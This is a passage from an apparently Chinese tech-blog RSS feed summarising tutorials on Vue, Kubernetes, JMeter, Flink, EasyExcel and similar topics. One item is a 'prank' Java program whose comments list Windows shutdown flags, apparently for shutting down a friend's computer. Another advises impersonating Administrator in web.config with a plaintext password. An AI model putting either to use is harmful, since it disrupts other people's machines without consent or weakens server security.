Bar录屏功能使用起来虽然简单方便，但能够录制的场景有限，多数是用来录制游戏画面，并且无法录制桌面、文件夹等情况。如果你对电脑录屏&#xA;有更高的要求，你可以试试这个免费的专业屏幕录制软件——数据蛙屏幕录制软件。&#xA;数据蛙录屏软件的功能丰富，界面简洁，操作简单，内有不同的录制模式预设，可以应对不同的录制场景和需求。&#xA;同时，数据蛙录屏软件不同于市面上绝大多数需要付费才能完整录制的录屏软件，它可以免费不限时长地进行高清画面录制。录制的过程中默认无水印，也可以根据实际的录制需求，添加属于自己的文字水印与图片水印。&#xA;具体的操作步骤：&#xA;步骤1：在官网上下载数据蛙录屏软件，安装并运行后，在主界面中选择“视频录制”。也可以根据实际的录制需求，选择不同的录制模式，操作逻辑是一样的。&#xA;步骤2：进入“视频录制”的详细界面后，根据录制需要调整里面的选项，最后点击“REC”开始录制。&#xA;（注：如果需要对录制的画质、帧率、视频格式、音频格式等方面进行调整，可以点击上方的“小齿轮”进行调整。）&#xA;步骤3：录制后，您可以在弹出的“预览窗口”中进行预览。确认后，单击“完成”保存视频。&#xA;电脑视频怎么录制？以上就是小编分享的2个好用的电脑录屏方法。与Windows自带的录屏软件相比，数据蛙录屏软件所支持的录制内容相对较多，能够支持视频录制、音频录制、游戏录制等，感兴趣的小伙伴不妨去尝试一下。</description>
    </item>
    <item>
      <title>vue路由配置步骤</title>
      <link>https://bchobby.github.io/posts/d1ae07864ae22cae134bd4bd9ffe1ed2/</link>
      <pubDate>Wed, 16 Nov 2022 11:09:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1ae07864ae22cae134bd4bd9ffe1ed2/</guid>
      <description>vue路由配置及前置路由守卫和后置路由守卫 1.创建/src/router/index.js文件，该文件专门用于创建整个应用的路由器&#xA;2.下载安装vue-router：&#xA;npm install --save vue-router@3 3.使用插件vue-router&#xA;4.配置路由规则&#xA;5.创建并暴露 路由器&#xA;// 该文件专门用于创建整个应用的路由器 import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; import Home from &#39;../views/Home.vue&#39; // 1.下载vue-router： npm i -S vue-router@3 // 2.使用插件vue-router Vue.use(VueRouter) // 3.配置路由规则 const routes = [ { path: &#39;/&#39;, // 路由重定向 默认显示当前路由页面 redirect: &#39;/about&#39;, // 后置路由守卫，需要每个都配置 meta meta: { title: &#39;首页&#39; } }, { name: &#39;shouye&#39;, // 路径 path: &#39;/home&#39;, // 组件 component: Home, redirect: &#39;/home/news&#39;, meta: { title: &#39;首页&#39; }, children: [ // 二级路由不要加 / { name: &#39;xinwen&#39;, path: &#39;news&#39;, component: () =&amp;gt; import(&#39;.</description>
    </item>
    <item>
      <title>为什么你的用户转化率不高？-- 新媒体运营转化效果渠道归因分析</title>
      <link>https://bchobby.github.io/posts/d5e048eca1e0c4ae1f3522e9a7fe1665/</link>
      <pubDate>Wed, 16 Nov 2022 10:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5e048eca1e0c4ae1f3522e9a7fe1665/</guid>
      <description>新媒体运营人最关注的就是流量和用户转化问题。公司发布了新APP、上线了新网站项目，进行用户定位、策划、数据分析和内容营销，花重钱做产品推广，但最后用户转化率却不高，大批用户流失了......这种现象是运营人最不愿意看到的，而最头痛的就是不知道根本问题出在哪里。&#xA;今天我们来看看，如何通过 Kyligence Zen 指标平台的归因分析功能，对一个产品在新媒体广告投放的不同渠道和转化率效果进行分析的过程，让广告的每一分钱都花得明明白白！&#xA;根据业务流程定义指标 / 制定目标 下面是产品网站用户转化的典型流程。首先通过不同的广告渠道对网站和产品进行曝光，吸引客户点击，接着完成注册和成单等操作。&#xA;根据业务流程，我们可以创建一系列用户转化相关的指标。&#xA;在 Kyligence Zen 的目标看板上，我们可以看到，在企业的促销推广活动开始之前，营销推广部门围绕用户流量和转化率制订了运营推广目标如下。&#xA;通过目标值和实际值的对比，我们可以看出：&#xA;在运营活动中，总曝光量达 21,343 万次，已经达到了目标值 10,000 万次；&#xA;从点击到转化（注册或购买等）的转化率达到 8.59%，达到了目标值 5%；&#xA;但是从曝光到点击的转化率仅为 0.02%，远低于目标值 3%。&#xA;因此，下一步我们需要对流量和转化率指标存在的问题进行进一步归因分析，找出优化的方向。&#xA;归因分析 下面我们以总曝光量为例，进行归因分析。&#xA;可以看出，从 2022 年 6 月 1 日到 2022 年 6 月 13 日，总曝光量从 66.393 万次增加到了 868 万次，增长了 1,208%；&#xA;从平台维度来分析，其中对增长部分贡献比例最高的是平台 ID 为 700 的平台，贡献比例高达 49.3%；其次为 平台 ID 为 600 和 300 的平台，贡献比例分别为 16.7% 和 15.6%；&#xA;从运营活动维度来分析，其中对增长部分贡献比例最高的是 活动 ID 为 700 的营销活动，贡献比例高达 96.</description>
    </item>
    <item>
      <title>EasyExcel格式化映射注解和样式注解详解</title>
      <link>https://bchobby.github.io/posts/50fe0677074322a605d8e5acc95b772e/</link>
      <pubDate>Wed, 16 Nov 2022 10:40:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50fe0677074322a605d8e5acc95b772e/</guid>
      <description>一、概述 使用注解很简单，只要在对应的实体类上面加上注解即可。&#xA;也就是说使用实体类模型来读写Excel文件时，可以通过注解来控制实体类字段和Excel列之间的对应关系。&#xA;二、ExcelProperty 2.1 作用 ExcelProperty注解用于匹配excel和实体类字段之间的关系。&#xA;可以作用于字段上。&#xA;2.1 注解参数 名称默认值描述value空用于匹配excel中的头，必须全匹配,如果有多行头，会匹配最后一行头orderInteger.MAX_VALUE优先级高于value，会根据order的顺序来匹配实体和excel中数据的顺序index-1优先级高于value和order，会根据index直接指定到excel中具体的哪一列converter自动选择指定当前字段用什么转换器，默认会自动选择。写的情况下只要实现com.alibaba.excel.converters.Converter#convertToExcelData(com.alibaba.excel.converters.WriteConverterContext) 方法即可 2.3 使用示例 @Getter @Setter @EqualsAndHashCode public class DemoData { @ExcelProperty(&#34;字符串标题&#34;) private String title; // 在这个字段前面加上 自定义三个字 @ExcelProperty(value = &#34;conver的使用&#34;, converter = CustomStringStringConverter.class) private String convert; @ExcelProperty(value = &#34;日期标题&#34;, index = 3) private Date date; @ExcelProperty(value = &#34;数字标题&#34;, index = 5) private Double doubleData; } import com.alibaba.excel.converters.Converter; import com.alibaba.excel.converters.ReadConverterContext; import com.alibaba.excel.converters.WriteConverterContext; import com.alibaba.excel.enums.CellDataTypeEnum; import com.alibaba.excel.metadata.data.WriteCellData; /** * 定义一个字符串转换器，需要实现Converter接口并且传递需要转换的泛型 */ public class CustomStringStringConverter implements Converter&amp;lt;String&amp;gt; { // 所支持的java类型 @Override public Class&amp;lt;?</description>
    </item>
    <item>
      <title>服务器运行Microsoft.Office.Interop.Word出错{00024500-0000-0000-C000-000000000046}问题总结</title>
      <link>https://bchobby.github.io/posts/d2f8d00f4fc2bd79060df6abe43dd8c8/</link>
      <pubDate>Wed, 16 Nov 2022 10:23:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2f8d00f4fc2bd79060df6abe43dd8c8/</guid>
      <description>服务器调用word 功能时,遇到一下问题 1.版本不对&#xA;未能加载文件或程序集“Office, Version=12.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c”或它的某一个依赖项。系统找不到指定的文件。这要么是未安装以下文件:&#xA;安装方法:&#xA;用office安装盘,添加以下.net编程支持．&#xA;２．无法运行office组件&#xA;{00024500-0000-0000-C000-000000000046}组件运行时出错．如果本地权限不足，请提升权限．方法如下：&#xA;为office提升权限&#xA;２．在web.config中增加角色及口令，模拟高权限角色&#xA;&amp;lt;identity impersonate=&#34;true&#34; userName=&#34;Administrator&#34; password=&#34;88888888&#34;/&amp;gt; 3.为了防止因提升权限导致的安全问题，修改应用程序池标识，完美解决。具体如下：</description>
    </item>
    <item>
      <title>Vue（八）——Vuex</title>
      <link>https://bchobby.github.io/posts/7fde2f3b8287232c7da14cfd6dec31cd/</link>
      <pubDate>Wed, 16 Nov 2022 06:37:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fde2f3b8287232c7da14cfd6dec31cd/</guid>
      <description>目录&#xA;理解vuex&#xA;求和案例&#xA;纯vue版&#xA;搭建vuex环境&#xA;vuex版&#xA;getters配置项&#xA;四个Map方法的使用&#xA;mapState与mapGetters&#xA;mapMutations与mapActions&#xA;多组件共享数据&#xA;vuex模块化编码&#xA;理解vuex 概念：&#xA;在Vue中实现集中式状态（数据）管理的一个Vue插件，对vue应用中多个组件的共享状态（数据）进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。&#xA;多组件共享数据——全局事件总线实现（让所有组件都可以读写x和y）&#xA;多组件共享数据——vuex实现&#xA;什么时候使用vuex？&#xA;1.多个组件依赖于同一状态（数据）&#xA;2.来自不同组件的行为需要变更同一状态（数据）&#xA;工作原理图：&#xA;我们所说的将数据交给vuex去管理，就是交给State对象去管理。这个actions主要处理mounted，向服务器发异步请求，然后获取数据，修改，保存到state仓库中，然后通过mapState组件能拿到，然后进行遍历数组动态展示数据，这就是前台项目的大部分功能。&#xA;1.A M S 都是对象&#xA;2.A M S都要经过store的领导&#xA;3.需要在任何一个组件里调dispatch、commit，而dispatch、commit都在store身上。这就需要所有的组件实例对象vc都能看见store。&#xA;求和案例 纯vue版 option里的值如果不处理会被当成字符串而无法进行运算&#xA;Count.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;当前求和为：{{sum}}&amp;lt;/h1&amp;gt; &amp;lt;select v-model.number=&#34;n&#34;&amp;gt; &amp;lt;option value=&#34;1&#34;&amp;gt;1&amp;lt;/option&amp;gt; &amp;lt;option value=&#34;2&#34;&amp;gt;2&amp;lt;/option&amp;gt; &amp;lt;option value=&#34;3&#34;&amp;gt;3&amp;lt;/option&amp;gt; &amp;lt;/select&amp;gt; &amp;lt;button @click=&#34;increment&#34;&amp;gt;+&amp;lt;/button&amp;gt; &amp;lt;button @click=&#34;decrement&#34;&amp;gt;-&amp;lt;/button&amp;gt; &amp;lt;button @click=&#34;incrementOdd&#34;&amp;gt;当前求和为奇数再加&amp;lt;/button&amp;gt; &amp;lt;button @click=&#34;incrementWait&#34;&amp;gt;等一等再加&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name:&#39;Count&#39;, data() { return { n:1, //用户选择的数字 sum:0 //当前的和 } }, methods: { increment(){ this.</description>
    </item>
    <item>
      <title>新风向——单细胞泛癌研究</title>
      <link>https://bchobby.github.io/posts/fcb2a2a753088e15c7686d224e70e794/</link>
      <pubDate>Tue, 15 Nov 2022 23:05:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcb2a2a753088e15c7686d224e70e794/</guid>
      <description>对于一些没有实验条件以及没有充足实验经费的同学来说，泛癌研究其实是一个非常不错的选择。但是关于泛癌研究怎么做，尤其是单细胞的泛癌研究该怎么做，许多同学都没有什么头绪。&#xA;自从张泽民老师两篇顶级的泛癌研究的发表以来，基于公共单细胞数据的泛癌研究可以说是越来越多。但大多数都只是合并数据后的差异分析，并没有讲出一个生动的故事来。尤其是在现在这个时间节点，单细胞数据泛滥，空间转录组数据出露头角，拟时序，细胞互作（crosstalk）以及单细胞网络等等复杂算法的提出，越来越挑战我们这帮科研狗编故事的能力。而今天带来的这篇泛癌文章，非常丝滑地把这些东西串到了一起，并描绘了一个相当有趣的故事。&#xA;回到正文部分，文章首先介绍了数据的构成（正常、癌旁和肿瘤组织）&#xA;和一些零碎的结果，例如通过一类巨噬细胞的含量随着疾病恶性程度梯度下降（正常—&amp;gt;癌旁—&amp;gt;肿瘤—&amp;gt;转移），推断此类巨噬细胞能够作为疾病进程的标志物。（如下图）&#xA;关于文章这个部分，是我们应该去学习的。在在泛癌研究中，我们常常忽视这种样本疾病的恶性程度信息（因为总是pool到一起去做），但这样会失去了很多发现新东西的机会。倒过来讲，如果我们有了什么新发现的细胞类型，我们同样可以通过这种方式来证明这些新细胞的重要性。&#xA;好的我们回到主线，该研究的核心在于泛癌中的成纤维细胞。通过差异分析能够得到与成纤维细胞活性相关的一些基因在癌症样本中上调了，推断成纤维细胞在癌症中活化。&#xA;而活化后的成纤维细胞有什么样变化呢？&#xA;如果是几年前，仅用表达数据能够做的事情就是用差异基因做个功能富集，但是在单细胞领域，我们还能去通过细胞间crosstalk的差异来描述细胞的功能变化。在正常，癌旁到肿瘤组织中，成纤维细胞与其他TME的crosstalk在逐步增强，预示着成纤维在肿瘤进程中的重要调控作用。（如下图）&#xA;该研究中成纤维细胞被分为8个类型，并通过SCENIC计算的regulon富集程度证明了注释的准确性。（如下图）&#xA;关于这个成纤维细胞注释的事情，其实目前来讲是没有什么明确的金标准的。但是这种细胞亚型注释方法是否值得借鉴呢？从经验上来说，很难！简单的说，该文章的SCENIC结果有点好的离谱了，除非成纤维细胞本身确实存在如此巨大的差异。&#xA;我们接着回归主题。&#xA;由于活化是种过程，而几种成纤维亚型的比例数量在不同条件中也有明显差异。种种结果驱动着我们探究成纤维细胞可能的分化过程，将处于不同分化位置的成纤维细胞标志为不同的state (1-3)。并针对每种成纤维_state计算了EMT（内皮间充质转化） score以标注恶性程度。&#xA;由于该部分说书是以crosstalk为起点，所以后续文章详细的展示了成纤维细胞究竟是基于哪些受配体与其他细胞进行交互的。并通过交互强烈程度以及一些特殊的基因说明了成纤维_state3的危害程度（如下图）&#xA;而最后，通过外部生存数据验证成纤维_state3危害（如下图）&#xA;简而言之，这一部分得到的结论是成纤维会随着肿瘤进程不断的活化，活化的表现为与其他细胞的交互增强，并且这种活化后的成纤维细胞与患者更差的生存有关系。&#xA;但是到这里，有些同行或许会疑惑在详尽展示crosstalk结果的时候为什么要用state而非细胞类型。因为大多数人是不会太在意monocle得到的state信息的。关于这个问题，我们实验室讨论后的结论是，如果基于八个cluster往下做，结果很有可能不会特别的好，因为细胞分的越细致，细胞之间的差异就越小。这个时候Cibersort是否还能够比较精准的预测出各类细胞的含量呢？外部印证是否还能够显著呢？所以利用数量更少分类更笼统的state是更加合适更加稳妥的。&#xA;再往下，文章探讨了成纤维细胞的可塑性。简单来说，因为成纤维细胞的一个亚类包含了两类细胞的marker gene（成纤维，免疫）。所以认为该类成纤维细胞是巨噬细胞向着成纤维细胞转化的中间态。通过拟时序，荧光双阳细胞的发现以及单细胞数据得到的marker交叠，初步验证了该假设（如下图）。&#xA;在文章最后一部分，文章讨论了成纤维细胞与巨噬细胞的相互作用（如下图）&#xA;并利用空间转录组数据计算了两类细胞的显著共定位，提示两类细胞存在互作的空间条件。&#xA;从单细胞数据得到的细胞crosstalk是完全可以用空转数据的细胞共定位来验证的哦~（虽然不能称之为金标准）今天也读到了一篇cell-cell interaction的benchmark 文章，所利用的验证数据就是配套的单细胞和空间转录组数据。</description>
    </item>
    <item>
      <title>IC验证——UVM学习——验证平台中的组件</title>
      <link>https://bchobby.github.io/posts/76c6568da63576c92bc448dc135af6d9/</link>
      <pubDate>Tue, 15 Nov 2022 21:24:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76c6568da63576c92bc448dc135af6d9/</guid>
      <description>UVM验证平台可以看成是由多个模块组合在一起，通过把这些模块放在一起利用接口和DUT连接起来，从而最终实现验证的目的。如图为一个完整的UVM验证平台框图，下图中每一个组件（即UVM中的component）就是一个类。&#xA;这些模块不是简单的函数或者过程，而是一个个实实在在的对象文件，这些对象内部会包括一些function或者task等来协作完成整个验证平台的运行&#xA;sequence是产生transaction（事务）的组件，属于平台外的，但由于和testbench关系较大，所以一并讨论。&#xA;0. sequence组件 事务反生器，即产生transaction。transaction不能算是testbench中的组件，只是各组件间的数据流。&#xA;基类 uvm_sequence_item&#xA;该类可以派生事务级的transaction类，这是使验证平台相互连通的重要组件。&#xA;为了使transaction能随机化，需要给每个成员指定为rand。&#xA;transaction和driver类是不同的，它是有生命周期的，他在仿真的某一时间产生，经过driver驱动，在经过testbench中的参考模型处理，最终由scoreboard比较完成后，其生命周期结束。uvm_sequence&#xA;产生事务发生器，即派生出sequence，并可以在定义时产生一系列transaction对象（一般来说，一个sequence产生一种类型的transaction）。它不属于验证平台的部分，但是却能给验证平台提供激励。 task body()&#xA;sequence中最重要的部分就是其中的task: body()，作用是产生和控制transaction。当一个sequence启动之后，会自动执行body中的代码。 宏 `uvm_do(ptr)&#xA;该宏在UVM中比较常用，作用是：&#xA;（1）创建transaction对象，调用一次即产生一次对象，即产生完整地使平台运行的一个包。&#xA;（2）将其随机化&#xA;（3）最终将其送给sequencer。&#xA;ptr为指针，可通过该指针访问创建的事务对象。driver取走这个transaction后，uvm_do并不会立刻返回执行下一次uvm_do，而是等待在那里，直到driver返回item_done信号。 1. testcase 在testbench中首先需要创建一个测试案例，它用来实例化和配置environment，使env模拟不同的配置环境，执行不同的测试行为；指定测试的sequence&#xA;若一个功能点的testcase的env配置完成，则不能改动，若要改动或修复则需重新配置env。&#xA;2. environment组件 env组件可以将testbench中所有组件封装在一起，在该类中可以实例化多个agent，reference model，scoreboard等，并将其互连。&#xA;注意：一旦该组件定义完成，后续不得轻易对其更改，若更改须重新验证所有的testcase。因此在定义时最好事先配置好interface，使env就有可配置性。&#xA;基类 uvm_env&#xA;可以派生出可以实例化testbench中各组件类的容器类。和driver一样，容器类在仿真中是一直存在的，可以使用uvm_component_utils宏来实现factory的注册 3. agent组件 agent中可以实例化sequencer，driver，monitor等组件，并将这些组件连接起来。&#xA;模式 active&#xA;需要实例化sequencer、driver、monitor，连接sequencer和driver。&#xA;该状态是agent的默认状态，在代码中，is_active是agent内建的变量，默认值为UVM_ACTIVR。passive&#xA;该模式下只有monitor，因此没有驱动DUT的能力，但可以用来捕获DUT的输出信号并转化为transaction。 基类 uvm_agent 4. sequencer组件 用来启动sequence，并将transaction对象发送给driver。绝大部分功能由UVM实现&#xA;基类 uvm_sequencer(transaction)&#xA;作用：&#xA;（1）sequence在向sequencer发送transaction时，会先发一个请求，sequencer把这个请求放在一个仲裁队列中，并检测仲裁队列里是否有某个sequence发送transaction的请求&#xA;（2）检测driver是否申请transaction 5. driver组件 激励驱动，从sequencer接收transaction对象，并转化为DUT可接收的pin级信号，再按照DUT总线接口协议要求驱动DUT。&#xA;基类 uvm_driver(transaction) 6. monitor组件 driver类负责把transaction级别的数据变成DUT的端口级别，并驱动给DUT；monitor的行为与其相对，用于收集DUT的端口数据，并将其转换为transaction交给后续的组件reference model，scoreboard处理。&#xA;monitor要通过TLM_port和其他组件相连。&#xA;基类 uvm_monitor 7. reference model组件 模拟DUT的功能行为，根据输入的激励产生相应的结果，并交给scoreboard。</description>
    </item>
    <item>
      <title>Flink sql join 快速入门</title>
      <link>https://bchobby.github.io/posts/113bca26be1522bc88d50a8076a1d694/</link>
      <pubDate>Tue, 15 Nov 2022 19:53:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113bca26be1522bc88d50a8076a1d694/</guid>
      <description>目录 Flink stream join基于窗口joinTumbling window join（滚动窗口join）Sliding Window Join（滑动窗口join）Session Window Join（会话窗口join） Interval Join Flink sql query join流式joinRegular Joins（双流join）Interval Joins（区间join）Temporal Joins（时态join）JOIN LookupJOIN 版本表Event Time Temporal Join（版本表）Processing Time Temporal Join（不建议使用） JOIN LATERAL 窗口Join窗口函数TUMBLE（滚动窗口）HOP（滑动窗口）CUMULATE（累积窗口） 窗口Join语法 总结 Flink stream join 基于窗口join Flink 中 Window 可以将无限流切分成有限流，是处理有限流的核心组件，现在Flink 中 Window 可以是时间驱动的（Time Window），也可以是数据驱动的（Count Window）&#xA;窗口连接将共享一个公key并位于同一窗口中的两个流的元素连接起来。这些窗口可以通过使用窗口赋值器来定义，并根据两个流中的元素进行计算。&#xA;然后，来自两边的元素被传递给用户定义的JoinFunction或FlatJoinFusion，用户可以在其中发出符合连接条件的结果。&#xA;stream.join(otherStream) .where(&amp;lt;KeySelector&amp;gt;) .equalTo(&amp;lt;KeySelector&amp;gt;) .window(&amp;lt;WindowAssigner&amp;gt;) .apply(&amp;lt;JoinFunction&amp;gt;) Tumbling window join（滚动窗口join） 滚动窗口有固定的尺寸，窗口间的元素无重复。当执行滚动窗口连接时，具有公key和公共滚动窗口的所有元素将作为成对组合进行连接（inner join）&#xA;因为这就像一个内部连接，所以一个流中的元素在其滚动窗口中没有来自另一个流的元素时，不会发出。&#xA;如图所示，我们定义了一个大小为2毫秒的翻转窗口，其结果为[0,1]，[2,3]形式的窗口&#xA;DataStream&amp;lt;Integer&amp;gt; orangeStream = ... DataStream&amp;lt;Integer&amp;gt; greenStream = ... orangeStream.join(greenStream) .where(&amp;lt;KeySelector&amp;gt;) .</description>
    </item>
    <item>
      <title>判断101-200之间有多少素数</title>
      <link>https://bchobby.github.io/posts/5d32d349607796ee35981ee002c5558c/</link>
      <pubDate>Tue, 15 Nov 2022 19:28:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d32d349607796ee35981ee002c5558c/</guid>
      <description>package lianxi; public class Test2 { public static void main(String[] args) { //判断101-200之间有多少素数 int count = 0; // 外循环 遍历101~200这个范围 依次得到这个范围之内的每一个数字 for (int i = 101; i &amp;lt;=200; i++) { //依次表示循环中的每一个数字 //继续判断i是否为一个质数 boolean flag = true; //内循环 判断当前数字是否为一个质数 for (int j = 2; j &amp;lt; i; j++) { //j表示2~99之间的每一个数字 if (i % j == 0) { flag = false; //跳出单层循环，内循环 break; } } if (flag) { System.out.println(&#34;当前数字&#34; + i + &#34;</description>
    </item>
    <item>
      <title>恶搞好朋友 java</title>
      <link>https://bchobby.github.io/posts/b969618bcb7c20cf799571e183fbf7e0/</link>
      <pubDate>Tue, 15 Nov 2022 19:22:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b969618bcb7c20cf799571e183fbf7e0/</guid>
      <description>import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; //shutdown : 关机 //加上参数才能执行 //-s : 默认一分钟后关机 //-s -t 指定时间 ： 指定关机时间 //-s: 取消关机操作 //-r 关机重启 public class MyJframe extends JFrame implements ActionListener { JButton yesBut = new JButton(&#34;帅爆了&#34;); JButton midBut = new JButton(&#34;一般般吧&#34;); JButton noBut = new JButton(&#34;不帅 有点磕碜&#34;); JButton dadBut = new JButton(&#34;绕了我吧&#34;); //决定上方的按钮是否展示 //true： 展示 //false 不展示 boolean flag = false; public MyJframe() { initJFrame(); initView(); //显示 this.</description>
    </item>
    <item>
      <title>kubernetes-HPA、rancher</title>
      <link>https://bchobby.github.io/posts/0f474380ad05b3c4bb7100cea8f26706/</link>
      <pubDate>Tue, 15 Nov 2022 18:07:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f474380ad05b3c4bb7100cea8f26706/</guid>
      <description>目录&#xA;一、HPA&#xA;二、metrics-server&#xA;三、安装HPA&#xA;四、资源限制 - Pod&#xA;五、资源限制 - 命名空间&#xA;1.计算资源配额&#xA;2.配置对象数量配额限制&#xA;六、Rancher 简介&#xA;七、Rancher 安装及配置&#xA;1.安装 rancher&#xA;2.登录 Rancher 平台&#xA;3.Rancher 管理已存在的 k8s 集群&#xA;4.Rancher 部署监控系统&#xA;5.使用 Rancher 仪表盘管理 k8s 集群&#xA;一、HPA HPA（Horizontal Pod Autoscaling）Pod 水平自动伸缩，Kubernetes 有一个 HPA 的资源，HPA 可以根据 CPU 利用率自动伸缩一个 Replication Controller、Deployment 或者Replica Set 中的 Pod 数量。&#xA;1）HPA 基于 Master 上的 kube-controller-manager 服务启动参数 horizontal-pod-autoscaler-sync-period 定义的时长（默认为30秒），周期性的检测 Pod 的 CPU 使用率。&#xA;2）HPA 与之前的 RC、Deployment 一样，也属于一种 Kubernetes 资源对象。通过追踪分析 RC 控制的所有目标 Pod 的负载变化情况，来确定是否需要针对性地调整目标Pod的副本数，这是HPA的实现原理。</description>
    </item>
    <item>
      <title>Jmeter常用场景梳理</title>
      <link>https://bchobby.github.io/posts/0740a36ed344709f83f2ffd265b15cac/</link>
      <pubDate>Tue, 15 Nov 2022 17:53:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0740a36ed344709f83f2ffd265b15cac/</guid>
      <description>一.在一段时间内持续发送请求 此场景可以用于稳定性测试，在稳定性测试中，通常需要持续压测几个小时甚至几天时间，查看接口是否有报错，或者cpu、内存会上涨，此时就需要通过控制持续时间来达到此目的。&#xA;1.创建线程组，循环次数勾选永远&#xA;2.勾选调度器，持续时间输入120，即可在120秒内持续调用接口&#xA;二.每秒钟固定调用次数 如果想控制每秒发送请求数量，仅仅通过线程数与循环次数是不够的，因为这只能控制发送总数，而要控制每秒发送数量，需要线程数与常数吞吐量控制器的搭配使用，这种场景在性能测试中使用不多。&#xA;例如每秒钟调用30次接口，那么把线程数设置为30，将常数吞吐量控制器的每分钟样本量设置为60，即每个线程每秒钟调用一次，通过此设置可以控制每秒钟的调用次数。&#xA;三.数据库操作 Jmeter不仅可以作为性能测试工具和接口自动化工具，也可以作为日常数据库操作的工具。如果想循环多次操作数据库，例如插入多条数据，不需要写java或者python代码，仅仅通过Jmeter添加几个插件就可以实现了。&#xA;1.先在测试计划中配置数据库连接中间件，以mysql5.7为例，下载mysql-connector，如果是mysql8+，还请网上自行下载对应connector。&#xA;然后配置到Jmeter的测试计划中。&#xA;2.创建线程组和JDBC Connection Configuration，然后配置变量名称&#xA;3.在下面的Database Connection Configuration中配置数据库url、driver、name、password&#xA;4.创建JDBC Request，变量名称与上一步的变量名称一致，下方输入sql语句，执行即可&#xA;5.如果数据的某个字段需要随机生成，可以配合工具-&amp;gt;函数助手来完成&#xA;四.将响应结果提取并写入csv 有时在进行性能测试时，需要将上一个接口的响应结果进行持久化保存，从而作为下一个接口的参数进行性能压测。创建线程组和HTTP请求，请求的响应结果中包含currentUserId这个字段，假定要提取这个字段&#xA;1.配置正则表达式提取器，每个字段的含义可查看此文章：https://zhuanlan.zhihu.com/p/27999878&#xA;2.配置BeanShell PostProcessor，参数与正则表达式中的引用名称一致，用${}进行引用，脚本如下：&#xA;FileWriter fw = new FileWriter(&#34;D:\\account1.csv&#34;,true); BufferedWriter bw = new BufferedWriter(fw); bw.write(vars.get(&#34;param&#34;)); bw.newLine(); bw.close(); 五.线程组内参数传递 实现参数传递是做接口自动化的前提之一，而Jmeter可以实现参数提取与参数传递，例子中创建了两个HTTP请求，新闻列表请求会返回新闻列表uniquekey&#xA;而新闻详情请求的参数需要通过uniquekey，来返回详情内容。&#xA;1.在新闻列表的请求中增加JSON提取器，JSON Path expressions输入JsonPath表达式，定位到要提取的字段，然后赋值给变量“name”。&#xA;2.在新闻详情的请求中通过${}的形式，提取上一个接口的变量，注意此处变量用的是“name”&#xA;六.跨线程组参数传递 性能测试中，两个相关联的接口不一定都在同一个线程组，遇见这种情况时，我们要进行跨线程组传参，与上一个示例基本相同，只不过在第一个线程组中使用了BeanShell后置处理器，将参数保存到了全局变量。此处还是用新闻列表和新闻详情两个请求举例，只不过这次将两个请求分别放入不同的线程组。&#xA;1.新闻列表请求中配置BeanShell后置处理器，将“name”变量保存到全局变量中，并重新叫做“NAME”&#xA;${__setProperty(NAME,${name},)} 2.新闻详情请求中使用下面这种方式提取全局变量&#xA;${__property(NAME,,)} 3.如果失败，记得查看测试计划里是否勾选独立运行每个线程组，勾选后才生效&#xA;七.吞吐量控制器 在进行混合负载测试时，需要按照线上实际的流量，添加多个接口进行测试，此时就需要使用吞吐量控制器来进行流量的分配。例如将三个接口按照30%、50%、20%的比例进行分配，持续调用一段时间后，最终调用三个接口调用的样本数为：3：5：2&#xA;1.在每个接口上增加吞吐量控制器，注意吞吐量不要加百分号&#xA;2.持续调用20秒，查看聚合报告，样本数量基本保持3：5：2&#xA;八.id自增控制器 使用jmeter调用接口或者往数据库插入数据时，经常遇见id不能重复的情况，此时可以通过计数器来完成。&#xA;1.添加计数器控制元件，输入起始值、步长和引用名称&#xA;2.接口调用时使用${}引用计数器的引用名称即可实现变化</description>
    </item>
    <item>
      <title>kubernetes-helm</title>
      <link>https://bchobby.github.io/posts/9c4576825631fe3cd8c2c2482053b508/</link>
      <pubDate>Tue, 15 Nov 2022 17:49:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c4576825631fe3cd8c2c2482053b508/</guid>
      <description>目录&#xA;一、helm&#xA;1.Chart&#xA;2.Repository（仓库）&#xA;3.Release&#xA;二、 Helm配置&#xA;1.安装 helm 2.使用 helm 安装 Chart&#xA;三、Helm 自定义模板&#xA;1.拉取 chart&#xA;2.创建自定义的 chart&#xA;3.修改 chart&#xA;4.打包 chart&#xA;5.部署 chart&#xA;6.部署 ingress&#xA;7.回滚&#xA;四、Helm 仓库&#xA;1.安装 harbor&#xA;2.安装 push 插件&#xA;(1)在线安装&#xA;(2)离线安装&#xA;(3)添加仓库&#xA;(4)推送 chart 到 harbor 中&#xA;一、helm 在没使用 helm 之前，向 kubernetes 部署应用，我们要依次部署 deployment、svc 等，步骤较繁琐。 况且随着很多项目微服务化，复杂的应用在容器中部署以及管理显得较为复杂，helm 通过打包的方式，支持发布的版本管理和控制， 很大程度上简化了 Kubernetes 应用的部署和管理。&#xA;Helm 本质就是让 K8s 的应用管理（Deployment、Service 等）可配置，可以通过类似于传递环境变量的方式能动态生成。通过动态生成 K8s 资源清单文件（deployment.yaml、service.yaml）。然后调用 Kubectl 自动执行 K8s 资源部署。&#xA;Helm 是官方提供的类似于 YUM 的包管理器，是环境的流程封装。Helm 有三个重要的概念：Chart 、Repository 和 Release。</description>
    </item>
    <item>
      <title>【ImportError: cannot import name ‘current_app‘ from ‘celery‘】celery导入错误的解决办法</title>
      <link>https://bchobby.github.io/posts/02849e057e3b239a6aa89996b5b06b94/</link>
